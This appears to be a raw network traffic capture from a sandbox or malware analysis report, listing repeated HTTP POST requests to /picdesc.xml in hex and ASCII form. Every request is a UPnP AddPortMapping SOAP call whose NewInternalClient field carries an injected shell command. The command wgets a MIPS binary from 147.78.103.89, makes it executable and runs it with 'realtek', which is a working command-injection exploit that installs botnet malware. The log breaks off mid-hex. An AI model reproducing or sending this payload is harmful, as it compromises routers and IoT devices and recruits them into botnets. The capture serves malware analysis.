                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:37.943924904 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:45.879659891 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:01.751348972 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      138192.168.2.155745845.192.210.17252869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:30.113230944 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:34.360095978 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:40.503849030 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:52.535475016 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 